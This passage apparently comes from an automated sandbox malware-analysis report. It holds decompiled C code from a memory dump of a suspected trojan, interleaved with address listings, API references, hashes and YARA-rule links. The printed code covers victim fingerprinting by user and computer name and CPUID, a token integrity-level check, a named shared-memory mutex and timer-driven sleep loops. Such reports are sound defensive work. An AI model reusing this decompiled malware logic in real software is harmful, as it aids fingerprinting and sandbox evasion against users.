								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0x418d198; // 0x0
										 *_t102 = _t125;
										 *0x418d198 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0x418d19c; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}

0x0418ac64
0x0418ac7a
0x0418ac80
0x0418ac82
0x0418ac87
0x0418ac8d
0x0418ac92
0x0418ac95
0x0418aca3
0x0418acaa
0x0418acad
0x0418acb0
0x0418acb1
0x0418acb4
0x0418acb7
0x0418acba
0x0418acbf
0x0418acce
0x00000000
0x0418acd4
0x0418acde
0x0418ace8
0x0418aced
0x0418acef
0x0418acf9
0x0418acfc
0x0418acff
0x0418ad05
0x0418ad07
0x0418ad07
0x0418ad0a
0x0418ad0d
0x0418ad12
0x0418ad16
0x0418ad29
0x0418ad2b
0x0418add3
0x0418add3
0x0418adda
0x0418addd
0x0418ade7
0x0418ade7
0x0418adeb
0x0418ae69
0x0418ae6c
0x0418ae6e
0x0418ae6e
0x0418ae75
0x0418ae77
0x0418ae81
0x0418ae84
0x0418ae87
0x0418ae87
0x00000000
0x0418aded
0x0418adf0
0x0418ae1e
0x0418ae28
0x0418ae2c
0x0418ae34
0x0418ae37
0x0418ae3e
0x0418ae48
0x0418ae48
0x0418ae4c
0x0418ae51
0x0418ae60
0x0418ae66
0x0418ae66
0x0418ae4c
0x00000000
0x0418adf7
0x0418adfa
0x0418ae02
0x0418ae17
0x0418ae1c
0x00000000
0x00000000
0x0418ae1c
0x00000000
0x0418ae02
0x0418adf0
0x0418adeb
0x0418ad31
0x0418ad38
0x0418ad48
0x0418ad4b
0x0418ad51
0x0418ad55
0x0418ad98
0x0418ada4
0x0418adcd
0x0418ada6
0x0418adaa
0x0418adb0
0x0418adb8
0x0418adba
0x0418adbd
0x0418adc3
0x0418adc5
0x0418adc5
0x0418adb8
0x0418adaa
0x00000000
0x0418ada4
0x0418ad5d
0x0418ad60
0x0418ad67
0x0418ad77
0x0418ad7a
0x0418ad8a
0x00000000
0x0418ad90
0x0418ad71
0x0418ad75
0x00000000
0x00000000
0x00000000
0x0418ad75
0x0418ad42
0x0418ad46
0x00000000
0x00000000
0x00000000
0x0418ad46
0x0418ad1f
0x0418ad23
0x00000000
0x00000000
0x00000000

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0418ACCE
LoadLibraryA.KERNELBASE(?), ref: 0418AD4B
GetLastError.KERNEL32 ref: 0418AD57
RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 0418AD8A

Strings

$, xrefs: 0418ACA3

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: ExceptionRaise$ErrorLastLibraryLoad
String ID: $
API String ID: 948315288-3993045852
Opcode ID: 4bd169c6595c5f8c344b18a343f530804717ed4e3bb654513d659a5af39da674
Instruction ID: 5905ae5de8ee88866f782713305a6c9fde3b6ff27c53f4998f7defb56da23683
Opcode Fuzzy Hash: 4bd169c6595c5f8c344b18a343f530804717ed4e3bb654513d659a5af39da674
Instruction Fuzzy Hash: 2A812975A00609AFDB20DFA9D8C0AAEB7F5EF48351F14856EE905E7240E7B4E944CF60

Uniqueness

Uniqueness Score: -1.00%

Function 041851B0, Relevance: 16.6, APIs: 11, Instructions: 150
timememoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E041851B0(intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				struct %anon52 _v8;
				long _v12;
				char _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v32;
				union _LARGE_INTEGER _v36;
				intOrPtr _v40;
				void* _v44;
				void _v88;
				char _v92;
				struct %anon52 _t46;
				intOrPtr _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t60;
				long _t64;
				signed int _t65;
				long _t67;
				void* _t68;
				void* _t70;
				signed int _t71;
				intOrPtr _t73;
				intOrPtr _t76;
				void** _t78;
				void* _t80;

				_t73 = __edx;
				_v92 = 0;
				memset( &_v88, 0, 0x2c);
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v44 = _t46;
				if(_t46 == 0) {
					_v8.LowPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x418d240);
					_v20 = 0;
					_v16 = 0;
					L0418AF2E();
					_v36.LowPart = _t46;
					_v32 = _t73;
					SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0);
					_t51 =  *0x418d26c; // 0x2c4
					_v40 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
					_v8.LowPart = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0x418d24c = 5;
						} else {
							_t68 = E04188D14(_t73); // executed
							if(_t68 != 0) {
								goto L4;
							}
						}
						_v12 = 0;
						L6:
						L6:
						if(_v12 == 1 && ( *0x418d260 & 0x00000001) == 0) {
							_v12 = 2;
						}
						_t71 = _v12;
						_t58 = _t71 << 4;
						_t76 = _t80 + (_t71 << 4) - 0x54;
						_t72 = _t71 + 1;
						_v24 = _t71 + 1;
						_t60 = E0418A376(_t72, _t76, _t72, _t80 + _t58 - 0x58, _t76,  &_v20,  &_v16); // executed
						_v8.LowPart = _t60;
						if(_t60 != 0) {
							goto L17;
						}
						_t65 = _v24;
						_v12 = _t65;
						_t90 = _t65 - 3;
						if(_t65 != 3) {
							goto L6;
						} else {
							_t67 = E041836B1(_t72, _t90,  &_v92, _a4, _a8); // executed
							_v8.LowPart = _t67;
						}
						goto L12;
						L17:
						__eflags = _t60 - 0x10d2;
						if(_t60 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x418d244);
							goto L21;
						} else {
							__eflags =  *0x418d248; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t60 = E04186761();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x418d248);
								L21:
								L0418AF2E();
								_v36.LowPart = _t60;
								_v32 = _t76;
								SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0); // executed
								_t64 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
								_v8.LowPart = _t64;
								__eflags = _t64;
								if(_t64 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t78 =  &_v92;
					_t70 = 3;
					do {
						_t54 =  *_t78;
						if(_t54 != 0) {
							HeapFree( *0x418d238, 0, _t54);
						}
						_t78 =  &(_t78[4]);
						_t70 = _t70 - 1;
					} while (_t70 != 0);
					CloseHandle(_v44);
				}
				return _v8;
				goto L25;
			}

0x041851b0
0x041851c2
0x041851c5
0x041851d1
0x041851d7
0x041851dc
0x04185343
0x041851e2
0x041851e2
0x041851e4
0x041851e9
0x041851ea
0x041851f0
0x041851f3
0x041851f6
0x04185204
0x0418520f
0x04185212
0x04185214
0x04185221
0x0418522b
0x0418522d
0x04185232
0x04185237
0x04185242
0x04185242
0x04185239
0x04185239
0x04185240
0x00000000
0x00000000
0x04185240
0x0418524c
0x00000000
0x0418524f
0x04185253
0x0418525e
0x0418525e
0x04185265
0x0418526e
0x04185275
0x0418527e
0x04185281
0x04185284
0x04185289
0x0418528e
0x00000000
0x00000000
0x04185290
0x04185293
0x04185296
0x04185299
0x00000000
0x0418529b
0x041852a5
0x041852aa
0x041852aa
0x00000000
0x041852d8
0x041852d8
0x041852dd
0x041852fc
0x041852fe
0x04185303
0x04185304
0x00000000
0x041852df
0x041852df
0x041852e5
0x00000000
0x041852e7
0x041852e7
0x041852ec
0x041852ee
0x041852f3
0x041852f4
0x0418530a
0x0418530a
0x04185312
0x0418531d
0x04185320
0x0418532b
0x0418532d
0x04185330
0x04185332
0x00000000
0x04185338
0x00000000
0x04185338
0x04185332
0x041852e5
0x00000000
0x041852dd
0x041852ad
0x041852af
0x041852b2
0x041852b3
0x041852b3
0x041852b7
0x041852c1
0x041852c1
0x041852c7
0x041852ca
0x041852ca
0x041852d0
0x041852d0
0x0418534d
0x00000000

APIs

memset.NTDLL ref: 041851C5
CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 041851D1
_allmul.NTDLL(00000000,FF676980,000000FF), ref: 041851F6
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000), ref: 04185212
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 0418522B
HeapFree.KERNEL32(00000000,00000000), ref: 041852C1
CloseHandle.KERNEL32(?), ref: 041852D0
_allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 0418530A
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,04185D5E,?), ref: 04185320
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 0418532B

Part of subcall function 04188D14: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,04B29368,00000000,?,7519F710,00000000,7519F730), ref: 04188D63
Part of subcall function 04188D14: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,04B293A0,?,00000000,30314549,00000014,004F0053,04B2935C), ref: 04188E00
Part of subcall function 04188D14: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,0418523E), ref: 04188E12

GetLastError.KERNEL32 ref: 0418533D

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
String ID:
API String ID: 3521023985-0
Opcode ID: 4083988b0f5c107116b0f65205134ea7f1b6eae59a27a1da9cf3491ab5975bb5
Instruction ID: ffb9999a0715aec9b604c0a04ef74d0eb997a87f083bda2295d013998d0d40c9
Opcode Fuzzy Hash: 4083988b0f5c107116b0f65205134ea7f1b6eae59a27a1da9cf3491ab5975bb5
Instruction Fuzzy Hash: E6515171801228FBDF11AF95DD84DEEBFBAEF45760F204259F410A2180D774AA80CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0418232F, Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E0418232F(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L0418AF28();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x418d2a8; // 0x99a5a8
				_t5 = _t13 + 0x418e87e; // 0x4b28e26
				_t6 = _t13 + 0x418e59c; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L0418ABCA();
				_t17 = CreateFileMappingW(0xffffffff, 0x418d2ac, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}

0x0418232f
0x04182337
0x0418233b
0x04182341
0x04182346
0x0418234b
0x0418234e
0x04182351
0x04182356
0x04182357
0x0418235a
0x0418235f
0x04182366
0x04182370
0x04182372
0x04182373
0x04182376
0x04182392
0x04182398
0x0418239c
0x041823ea
0x0418239e
0x041823ab
0x041823bb
0x041823c3
0x041823d5
0x041823d9
0x00000000
0x00000000
0x041823c5
0x041823c8
0x041823cd
0x041823cf
0x041823cf
0x041823ad
0x041823af
0x041823db
0x041823dc
0x041823dc
0x041823ab
0x041823f1

APIs

GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,04185C31,?,?,4D283A53,?,?), ref: 0418233B
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 04182351
_snwprintf.NTDLL ref: 04182376
CreateFileMappingW.KERNELBASE(000000FF,0418D2AC,00000004,00000000,00001000,?), ref: 04182392
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,04185C31,?,?,4D283A53), ref: 041823A4
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 041823BB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,04185C31,?,?), ref: 041823DC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,04185C31,?,?,4D283A53), ref: 041823E4

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1814172918-0
Opcode ID: ba5594eea769080538235cb1e23e5a177458d1fd3873561cbc16ae156fa3c754
Instruction ID: 8056797f0e711116142dcca877c055ae5d5e6e16be15b06e84fe7fde29568f99
Opcode Fuzzy Hash: ba5594eea769080538235cb1e23e5a177458d1fd3873561cbc16ae156fa3c754
Instruction Fuzzy Hash: DC21D27A640204BBD712BB65DC85F8E37AAEB48750F210169FA05E71C0E770E944DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04189135, Relevance: 12.1, APIs: 8, Instructions: 103
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E04189135(char __eax, void* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				void* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0x418d270; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E0418A6CC( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x418d2a4 ^ 0x4c0ca0ae;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x418d238, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t64 = _t62;
								 *_t69 =  *_t69 ^ E04187306(_v8 + _v8, _t64);
							}
							HeapFree( *0x418d238, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x418d238, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t64 = _t68;
							 *(_t69 + 0xc) =  *(_t69 + 0xc) ^ E04187306(_v8 + _v8, _t64);
						}
						HeapFree( *0x418d238, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *((intOrPtr*)(_t67 + 8)) = 0;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				 *(_t69 + 4) =  *(_t69 + 4) ^ _t39;
				return _t39;
			}

0x04189135
0x0418913d
0x04189141
0x04189144
0x04189149
0x0418914b
0x04189150
0x04189150
0x04189156
0x04189158
0x04189165
0x041891c6
0x04189167
0x0418916c
0x04189172
0x04189177
0x04189185
0x04189189
0x04189198
0x0418919f
0x041891a6
0x041891a6
0x041891b1
0x041891b1
0x04189189
0x04189177
0x041891c8
0x041891ce
0x041891d8
0x041891da
0x041891df
0x041891ee
0x041891f2
0x041891fd
0x04189204
0x0418920b
0x0418920b
0x04189217
0x04189217
0x041891f2
0x04189222
0x04189224
0x04189227
0x04189229
0x0418922c
0x0418922f
0x04189239
0x0418923d
0x04189241

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 0418916C
RtlAllocateHeap.NTDLL(00000000,?), ref: 04189183
GetUserNameW.ADVAPI32(00000000,?), ref: 04189190
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,04185D20), ref: 041891B1
GetComputerNameW.KERNEL32(00000000,00000000), ref: 041891D8
RtlAllocateHeap.NTDLL(00000000,00000000), ref: 041891EC
GetComputerNameW.KERNEL32(00000000,00000000), ref: 041891F9
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,04185D20), ref: 04189217

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: HeapName$AllocateComputerFreeUser
String ID:
API String ID: 3239747167-0
Opcode ID: b574779e0561199691c9ecec008edce4f690398c39220ec37a282a050265f913
Instruction ID: 2322a6d4b7cf37b3ad9272b2b9ba539d21a231f4aa821f942ebb7961f87d1619
Opcode Fuzzy Hash: b574779e0561199691c9ecec008edce4f690398c39220ec37a282a050265f913
Instruction Fuzzy Hash: DD3116B1A10205EFEB10EFA9EDC0AAEB7FAEB44314B21446DE504D7250EB34EE419F50

Uniqueness

Uniqueness Score: -1.00%

Function 04181A08, Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04181A08(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x418d25c > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E0418A71F(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E0418A734(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}

0x04181a15
0x04181a1c
0x04181a23
0x04181a37
0x04181a42
0x04181a5a
0x04181a67
0x04181a6a
0x04181a6f
0x04181a7a
0x04181a7e
0x04181a8d
0x04181a91
0x04181aad
0x04181aad
0x04181ab1
0x04181ab1
0x04181ab6
0x04181aba
0x04181ac0
0x04181ac1
0x04181ac8
0x04181ace

APIs

OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 04181A3A
GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 04181A5A
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 04181A6A
CloseHandle.KERNEL32(00000000), ref: 04181ABA

Part of subcall function 0418A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04185595), ref: 0418A72B

GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 04181A8D
GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 04181A95
GetSidSubAuthority.ADVAPI32(00000000,?), ref: 04181AA5

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
String ID:
API String ID: 1295030180-0
Opcode ID: 875467f40692e2bcb5c8e2e41a1881e0252940d200ae8a681951a4213d1d0b27
Instruction ID: 263fcdd37a8eb30a54502c43b3b75b8ecbd1bd75d4e61f95d7d16b671a144bfe
Opcode Fuzzy Hash: 875467f40692e2bcb5c8e2e41a1881e0252940d200ae8a681951a4213d1d0b27
Instruction Fuzzy Hash: 09213C75900249FFEB00EF95EC84EAEBBB9EB44304F1001AAE911A6190D7759E45EF60

Uniqueness

Uniqueness Score: -1.00%

Function 0418391F, Relevance: 9.2, APIs: 6, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 0418395A
IUnknown_QueryInterface_Proxy.RPCRT4(?,332C4425,?), ref: 041839DD
StrStrIW.SHLWAPI(00000000,006E0069), ref: 04183A1D
SysFreeString.OLEAUT32(00000000), ref: 04183A3F

Part of subcall function 04186F3A: SysAllocString.OLEAUT32(0418C290), ref: 04186F8A

SafeArrayDestroy.OLEAUT32(00000000), ref: 04183A92
SysFreeString.OLEAUT32(00000000), ref: 04183AA1

Part of subcall function 04181AE2: Sleep.KERNELBASE(000001F4), ref: 04181B2A

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree$ArrayDestroyInterface_ProxyQuerySafeSleepUnknown_
String ID:
API String ID: 2118684380-0
Opcode ID: 896e8cbca3c9b122ddadd5445a01a55005436abbd23ebd3b4c15d765e301c199
Instruction ID: 10d557f8a1c68fd506c25a4cd06e39ba4ce5d0f2f58e03e683f908147868e7a9
Opcode Fuzzy Hash: 896e8cbca3c9b122ddadd5445a01a55005436abbd23ebd3b4c15d765e301c199
Instruction Fuzzy Hash: 57517175500609AFDB01EFA8C884A9EB7B6FF88744F14846DE919DB220EB36ED45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 041812E5, Relevance: 9.1, APIs: 6, Instructions: 60
sleepmemorytimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E041812E5(void* __ecx, void* __edx, intOrPtr _a4) {
				struct _FILETIME _v12;
				void* _t10;
				void* _t12;
				int _t14;
				signed int _t16;
				void* _t18;
				signed int _t19;
				unsigned int _t23;
				void* _t26;
				signed int _t33;

				_t26 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t10 = HeapCreate(0, 0x400000, 0); // executed
				 *0x418d238 = _t10;
				if(_t10 != 0) {
					 *0x418d1a8 = GetTickCount();
					_t12 = E04183E69(_a4);
					if(_t12 == 0) {
						do {
							GetSystemTimeAsFileTime( &_v12);
							_t14 = SwitchToThread();
							_t23 = _v12.dwHighDateTime;
							_t16 = (_t23 << 0x00000020 | _v12.dwLowDateTime) >> 7;
							_push(0);
							_push(9);
							_push(_t23 >> 7);
							_push(_t16);
							L0418B08A();
							_t33 = _t14 + _t16;
							_t18 = E04185548(_a4, _t33);
							_t19 = 2;
							_t25 = _t33;
							Sleep(_t19 << _t33); // executed
						} while (_t18 == 1);
						if(E04184DA2(_t25) != 0) {
							 *0x418d260 = 1; // executed
						}
						_t12 = E04185BA2(_t26); // executed
					}
				} else {
					_t12 = 8;
				}
				return _t12;
			}

0x041812e5
0x041812eb
0x041812ec
0x041812f8
0x041812fe
0x04181305
0x04181315
0x0418131a
0x04181321
0x04181323
0x04181328
0x0418132e
0x04181334
0x0418133e
0x04181342
0x04181344
0x04181349
0x0418134a
0x0418134b
0x04181350
0x04181356
0x0418135f
0x04181360
0x04181365
0x0418136b
0x04181377
0x04181379
0x04181379
0x04181383
0x04181383
0x04181307
0x04181309
0x04181309
0x0418138d

APIs

HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,04184EF2,?), ref: 041812F8
GetTickCount.KERNEL32 ref: 0418130C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,00000001,?,?,?,04184EF2,?), ref: 04181328
SwitchToThread.KERNEL32(?,00000001,?,?,?,04184EF2,?), ref: 0418132E
_aullrem.NTDLL(?,?,00000009,00000000), ref: 0418134B
Sleep.KERNELBASE(00000002,00000000,?,00000001,?,?,?,04184EF2,?), ref: 04181365

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$CountCreateFileHeapSleepSwitchSystemThreadTick_aullrem
String ID:
API String ID: 507476733-0
Opcode ID: 5edd7e6f961b7cca01d93e9c7dc0998cfdfe1f08ea686ff5ff460befaff3976d
Instruction ID: ed74eb2d05fb0ea43dafe6714a371219f6eaca04ee386d88fda1396ca13981e3
Opcode Fuzzy Hash: 5edd7e6f961b7cca01d93e9c7dc0998cfdfe1f08ea686ff5ff460befaff3976d
Instruction Fuzzy Hash: BD11E576A44301BFF710BB65EC89F5A3B99DB843A1F00051DFD45C62C0FB74E8808AA1

Uniqueness

Uniqueness Score: -1.00%

Function 04185BA2, Relevance: 7.7, APIs: 5, Instructions: 159
memoryCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E04185BA2(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				void* _t32;
				CHAR* _t36;
				CHAR* _t42;
				CHAR* _t43;
				CHAR* _t44;
				void* _t49;
				void* _t51;
				CHAR* _t54;
				signed char _t56;
				intOrPtr _t58;
				signed int _t59;
				void* _t62;
				CHAR* _t65;
				CHAR* _t66;
				char* _t67;
				void* _t68;

				_t61 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E04186C09();
				if(_t21 != 0) {
					_t59 =  *0x418d25c; // 0x4000000a
					_t55 = (_t59 & 0xf0000000) + _t21;
					 *0x418d25c = (_t59 & 0xf0000000) + _t21;
				}
				_t22 =  *0x418d160(0, 2); // executed
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E0418496B( &_v8,  &_v20); // executed
					_t54 = _t25;
					_t26 =  *0x418d2a8; // 0x99a5a8
					if( *0x418d25c > 5) {
						_t8 = _t26 + 0x418e5cd; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0x418e9f5; // 0x44283a44
						_t27 = _t7;
					}
					E0418729A(_t27, _t27);
					_t31 = E0418232F(_t61,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t62 = 5;
					if(_t54 != _t62) {
						 *0x418d270 =  *0x418d270 ^ 0x81bbe65d;
						_t32 = E0418A71F(0x60);
						 *0x418d32c = _t32;
						__eflags = _t32;
						if(_t32 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t32, 0, 0x60);
							_t49 =  *0x418d32c; // 0x4b295b0
							_t68 = _t68 + 0xc;
							__imp__(_t49 + 0x40);
							_t51 =  *0x418d32c; // 0x4b295b0
							 *_t51 = 0x418e81a;
						}
						_t54 = 0;
						__eflags = 0;
						if(0 == 0) {
							_t36 = RtlAllocateHeap( *0x418d238, 0, 0x43);
